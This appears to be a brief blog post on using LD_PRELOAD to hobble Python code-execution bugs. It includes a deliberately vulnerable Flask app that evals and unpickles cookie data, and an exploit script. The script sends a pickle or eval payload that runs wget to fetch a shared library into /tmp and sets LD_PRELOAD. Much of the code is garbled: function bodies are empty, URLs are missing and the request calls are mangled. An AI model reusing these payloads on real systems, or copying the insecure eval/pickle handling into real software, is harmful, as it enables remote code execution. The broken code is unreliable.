Cripple Python Vulnerabilities with LD_PRELOAD

1 minute read

A novel use for LD_PRELOAD when exploiting Python vulnerabilities

On Linux the LD_PRELOAD environmental variable (or /etc/ file) will load the specified shared library files first, selectively overriding functions of any other library found in the LD_LIBRARY_PATH. This is useful for debugging, patching bugs, and escalating privileges to root.

A novel idea is to use LD_PRELOAD to cripple Python vulnerabilities that allow code execution in the same process. The following arbitrarily vulnerable Flask app offers an example.

from base64 import b64decode
import pickle
from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['GET', 'PUT'])
def index():
        if 'eval' in request.cookies:

        if 'pickle' in request.cookies:
    except Exception as e:

Unlike PHP and Java, Python allows the process environmental variables to change at runtime. Child process inherit the environment from the parent, so by setting the LD_PRELOAD variable we can poison processes created via the vulnerability. By overriding the _init function it is possible to kill new child process when the linker attempts to load shared libraries.

#include <stdlib.h>

_init() {
gcc -fPIC -shared -nostartfiles -o .so src.c

To cripple the vulnerability, use the following Python script to download the shared library and set the LD_PRELOAD environment variable.

from base64 import b64encode
import pickle
import requests
import os

class Exploit(object):
    def __reduce__(self):
        return eval, ('__import__("os").system("wget -O /tmp/.so") & __import__("os").environ.__setitem__("LD_PRELOAD", "/tmp/.so")',)

if True:'', cookies={'pickle': b64encode(pickle.dumps(Exploit())).decode()})
else:'', cookies={'eval': '__import__("os").system("wget -O /tmp/.so") & __import__("os").environ.__setitem__("LD_PRELOAD", "/tmp/.so")'})